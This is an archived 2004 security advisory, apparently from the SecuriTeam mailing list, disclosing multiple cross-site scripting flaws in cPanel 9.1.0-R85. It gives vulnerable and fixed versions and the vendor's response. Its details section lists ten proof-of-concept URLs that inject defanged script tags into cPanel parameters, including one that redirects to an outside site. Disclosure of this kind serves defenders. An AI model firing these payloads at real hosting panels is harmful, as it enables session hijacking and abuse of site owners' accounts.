[UNIX] Multiple Cross-Site Scripting Vulnerabilities In cPanel
From: SecuriTeam (support_at_securiteam.com)
Date: 04/05/04
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To: list@securiteam.com Date: 5 Apr 2004 13:53:14 +0200
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Multiple Cross-Site Scripting Vulnerabilities In cPanel
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SUMMARY
With both
<http://www.cpanel.net/realindex.html?from=http://www.cpanel.net/docs.htm>
cPanel and WebHost Manager, "you and your clients will be in control of
every aspect of the Web Hosting World. With an administrator interface
through WebHost Manager, and an end user interface through cPanel, every
part of your hosting operations is covered".
cPanel suffers from an extensive amount of XSS vulnerabilities in almost
every variable returned to the user's browser.
DETAILS
Vulnerable Systems:
* cPanel version 9.1.0-R85
Immune Systems:
* cPanel 2004 EDGE release
Many variables in cPanel are prone to XSS attacks and are not properly
filtered. This could easily lead to code execution inside the victim's
browser using the trust relationship between the browser and the server.
cPanel supports filtering of HTML and scripts in input variables but
according to cPanel the feature was not enabled in order to support
third-party themes.
Examples of XSS attacks on cPanel:
http://[victim]/frontend/x/cpanelpro/ignorelist.html?account="><scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x/cpanelpro/showlog.html?account=<scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x/sql/repairdb.html?db=<scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x/ftp/doaddftp.html?login="><scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x/cpanelpro/editmsg.html?account="><scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x/testfile.html?email=<scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x2/err/erredit.html?dir=public_html/&file=<scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x2/net/dnslook.html?dns=</pre><scr!pt>window.location='http://www.cirt.net/'</scr!pt>
http://[victim]/frontend/x2/denyip/del.html?ip=<scr!pt>alert('Vulnerable')</scr!pt>
http://[victim]/frontend/x2/htaccess/index.html?dir=<scr!pt>alert('Vulnerable')</scr!pt>
Note: The SCRIPT tag has been replace with SCR!PT.
Vendor Status:
The vendor was contacted on 3/13/2004. A new version is available which is
immune to the vulnerabilities.
ADDITIONAL INFORMATION
The information has been provided by <mailto:sullo@cirt.net>
sullo@cirt.net.
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